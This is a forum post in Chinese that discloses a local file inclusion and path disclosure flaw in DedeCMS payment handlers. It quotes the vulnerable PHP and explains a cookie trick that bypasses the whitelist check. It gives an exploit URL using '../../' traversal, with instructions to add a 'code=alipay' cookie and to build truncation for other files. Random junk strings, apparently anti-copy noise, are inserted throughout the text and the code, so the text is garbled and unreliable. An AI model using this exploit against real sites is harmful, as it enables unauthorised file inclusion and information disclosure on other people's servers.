找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1949|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)5 u) k9 w# {# \( X4 Q4 S
& s2 r0 d, V# G, S
出现漏洞的两个文件为:, a0 f9 r# N5 o3 n
Include/payment/alipay.php3 p5 K4 g$ w+ l! O2 f
Include/payment/yeepay.php
# y0 ]2 S: c! u# O漏洞均出现在respond方法里,估计这两个文件是临时工写的。
# S/ Z" h+ x4 S# t7 J" S/ Y2 o4 a: @) G: w
Include/payment/alipay.php# ?3 _: F* g. C
% Q) l5 Q( ^6 E' x7 s
......
1 g5 @5 E: g- ^/ H7 B! i2 R   function respond()# x4 G" J, `  V2 t3 r
    {, }$ G# ^0 Q; K  f
        if (!empty($_POST))9 Q* w, s( @3 v1 `! U5 C5 P# [" X
        {* c: X8 L) r& Z* Z' g! x# N' T0 I
            foreach($_POST as $key => $data)
, w/ l6 {3 C* P+ _% z" D            {
/ f8 e3 e* k* w7 s1 w  R/ o                $_GET[$key] = $data;
9 W; _  Q2 y; `3 G            }
* N3 Z9 g0 x2 Y* ?# o+ t) q        }$ h/ S* G5 R7 t5 G+ D" U
        /* 引入配置文件 */, S: l0 b) O$ \4 L5 {' Q+ t+ k
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
+ b0 K3 G- G  U. [& K. G...... 4 k' F% F: Z; w
9 j) X7 j- L, ^* L( J

7 h$ c3 k* c& ^! L) q% y6 L2 N大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
6 Q* e; g% f7 c+ U; X) [6 O+ c/ X: x7 F% P+ g/ y0 e* ]
Include/payment/yeepay.php6 e, U; ^4 {( D. W% h" u- {

, i, T1 c4 Y' o# S! l- B
: f" X; g, o2 |: ~0 r: F. H( w5 y2 a, n. _2 e! A$ ^
......7 A  f2 p; `, z6 y0 |/ S
    function respond()
- d9 q$ b3 j( G) u7 [    {9 e' k3 G( g* I* Q& I: b/ _
  K7 U/ X5 Z7 W
        /* 引入配置文件 */
  C1 Q; ]; }. \1 E  {) T7 y        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';  ], t: ~8 b7 N1 l* U- Q

, L6 R! S$ H$ V- X        $p1_MerId = trim($payment['yp_account']);
1 Q, ], j- P) Q1 ?% e6 n9 X        $merchantKey = trim($payment['yp_key']);
5 {0 E; P% r) q- w- N...... & d/ H: z6 s7 N8 A' K3 R' t( h

3 O( U1 \  C1 }# t* Q9 y* m0 V  O9 B& D, E% \+ d; l$ J
/ O0 i2 o+ N- g5 I4 O4 |4 V
  |4 E3 D# z& I
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
# k$ x8 h# O$ R4 o( Z4 \/ |9 N+ \  s- u) O( y6 G" G8 H* M
这两个方法在plus/carbuyaction.php文件调用。8 u  W- v# m# `+ s( g

5 `/ V. E: ~7 p# lplus/carbuyaction.php$ L! s) I! T0 o& J' H: `/ e

  @' i7 ?- K' ]5 Y( {2 P......1 R9 E) M- c# @0 Y3 y8 |0 h
} else if ($dopost == 'return') {
! l0 J: G7 q6 Z    $write_list = array('alipay', 'bank', 'cod', 'yeepay');0 g1 ^" @) V& y( `8 h0 O
    if (in_array($code, $write_list))0 q2 \$ K) |, ]* }# O
    {, ]- @3 y; }7 W4 o: Q7 S! Q& P7 l
        require_once DEDEINC.'/payment/'.$code.'.php';
1 S; k6 ]  k1 R        $pay = new $code;$ H) B5 N/ |5 z. X5 O
        $msg=$pay->respond();6 [; y9 ^0 J/ J$ z
        ShowMsg($msg, "javascript:;", 0, 3000);3 ?4 v& F0 ]% ~9 Y9 m
        exit();  9 i, B, N% j) \( O' S
    } else {7 o) J# {, {: M" X4 \
        exit('Error:File Type Can\'t Recognized!');
. _  y7 o" ?7 w, n3 n$ C5 Y    }6 f- s+ y. l* j4 k" K
}
+ ~% Q, P4 n$ q2 G' @* G......
/ ?5 d+ O% f6 u0 J3 _ 0 ~0 e# ?/ [8 m& M% k/ K* Y1 \! F

" J) g: z: J! ]+ G9 N  S: G
' |6 j1 M1 F6 x7 @# M, O7 {. c2 L" m9 e( O) U. |

- y" E4 n& b3 e% U3 D, D# [# [5 D! [3 v* ?8 G8 i3 h$ n
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。8 \! i' R) W4 G& @* e3 V1 Z0 R
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
% U! B# J4 ^) t# ~8 k1 ?& \9 E' L& O/ S% x, M$ L
回到include/common.inc.php来看看他的机制。7 o) U9 L1 z' K, k& i

  U4 G: o: X. f0 U0 J( t4 _( I / [- T: c5 W! j( e; U0 z% ^
0 [- Z/ L/ X, L+ G8 Y
......
( M3 Q' g$ o* @- Z6 Mforeach(Array('_GET','_POST','_COOKIE') as $_request): ?& V7 u+ L$ G/ J
{4 i3 u7 l7 o" x* F. [
        foreach($$_request as $_k => $_v)
. p  m8 Y, b8 R  t2 J: o        {
, @7 \/ D5 F7 Z                if($_k == 'nvarname') ${$_k} = $_v;, H" I+ g+ j) W
                else ${$_k} = _RunMagicQuotes($_v);
2 y; H& Z0 X0 b9 j! H        }
, E# r) v1 a6 p}* h& @$ ~  ]2 F% W9 ]
...... ' _1 g5 G7 _; r7 h
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:# C! [) `+ g2 w
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表